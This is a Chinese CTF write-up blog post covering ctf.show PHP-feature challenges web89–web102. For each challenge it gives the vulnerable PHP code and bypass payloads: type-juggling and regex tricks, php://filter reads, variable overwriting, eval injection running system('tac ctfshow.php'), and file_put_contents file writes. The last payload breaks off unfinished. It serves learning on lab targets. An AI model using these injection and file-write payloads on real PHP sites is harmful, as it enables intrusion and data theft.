您当前的位置: 首页 >  php

ThnPkm

暂无认证

  • 3浏览

    0关注

    98博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctf.show php特性(89~110)

ThnPkm 发布时间:2022-02-14 00:55:17 ,浏览量:3

web89
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }

考察preg_match函数处理不了数组,错误返回0,即是我们想要的

/?num[]

web90
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

强比较,intval()用于获取变量的整数值,如果输入4476.1应该是符合题干的

/?num=4476.1

 还有不少方法,记录一下

/?num=4476a
 
intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格
web91
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

边界字符 ^ 和 $ 匹配开头和结尾

^php          意思为以php开头 php$          意思是以php结尾 ^php$        意思是以php开头并以php结尾

i 表示忽略大小写   m表示多行匹配

在默认状态下,一个字符串无论是否换行只有一个开始^和结尾$,如果采用多行匹配(加了m),那么每一行都有一个^和结尾$。

通过换行%0a 绕过第二次正则,因为第二次只匹配第一行,第一行是空的

/?cmd=%0aphp
%0aphp即换行+php:
'
php'
 
经过第一个匹配时,是多行匹配,第一行不满足第二行满足
经过第二个匹配时,是单行匹配,第一行是空的,不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
web92
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

这次是弱比较,可以利用16进制、8进制、小数点过滤,做法类似web90

弱比较的话4476a是没法绕过了

/?num=0x117c  十六进制
/?num=010574  八进制
/?num=4476.1  小数点

 还可以利用e表示科学计数法

/?num=4476e123

4476e123显然不等于4476所以绕过第一关
4476e123 在第二关时,e由于是字母 所以只能读取到4476,所以又符合等于4476 的条件
web93
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

 又多过滤了字母,8进制和小数点还可以用

/?num=4476.1
/?num=010574
web94
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos() 函数对大小写敏感。

strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。同时如果没有找到字符串会 FALSE。

同时注意字符串位置是从0开始,而不是从1开始的。 

分析一下就是如果$num中没有0就会die

但是$num中第0个位置是0也会返回下标0,即false 

/?num=4476.0   小数点凑0
/?num= 010574  八进制前加空格
/?num=+010574  或者加+
web95
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    

 多过滤了 .  

这题的$num参数中必须满足这几点: 1. 值不能是4476 2. 不能含有字母 3. 值中必须有0,但第一个数字不能是0 4. intval($num,0)===4476 5. 不能有小数点

通过换行符%0a 、空格符%20等结合八进制绕过

/?num= 010574
/?num=+010574
/?num=%20010574
/?num=%0a010574
web96
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

在linux下面表示当前目录是 ./ 

/?u=./flag.php     相对路径
/?u=/var/www/html/flag.php  绝对路径
/?u=php://filter/resource=flag.php  伪协议

web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

这里用的是强比较,所以利用MD5加密后为0e开头的字符串做法是不行的

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。

a[]=1&b[]=2

web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

考察点:三目运算符的理解+变量覆盖

$_GET?$_GET=&$_POST:'flag';意思:如果有GET方法传参,就将$_POST变量的地址赋值给$_GET,那么就可以用post覆盖get中的值

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)显示当前页面

所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可

/?1  
HTTP_FLAG=flag  

web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

in_array  检查数组中是否存在某个值,存在弱类型比较

array_push 将一个或多个单元压入数组的末尾

file_put_contents 写入数据进文件

web100
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    

 is_numeric  检测变量是否为数字或数字字符串

优先级:&& > || > = > and > or

所以只要保证v1是数字就可以使得v0为true,从而进入if中;v2里面不能有分号v3里面要有分号

/?v1=1&v2=system('tac ctfshow.php')&v3=;
/?v1=1&v2=var_dump($ctfshow)&v3=;

 flag_is_558ddaaa0x2d6a320x2d43080x2da4ab0x2d6e0c94259ffa

 将0x2d替换成-

web101
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

过滤了很多东西 

使用反射类直接输出class ctfshow的信息

/?v1=1&v2=echo new ReflectionClass&v3=;
web102
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

substr — 返回字符串的子串 PHP: substr - Manual

call_user_func — 把第一个参数作为回调函数调用PHP: call_user_func - Manual

hex2bin 把十六进制值转换为 ASCII 字符, bin2hex把字符串转换16进制

$v2是写入文件的一个数字字符串,$v1是一个将数字转换为字符串的函数,$v3是一个文件名,这个文件名可以用php://filter来控制  

v2要求必须数字,这个数字经过v1转换字符串得到base64,再v3伪协议去base64解码后成为一条php语句

payload:
$a='            
关注
打赏
1660722558
查看更多评论
0.0362s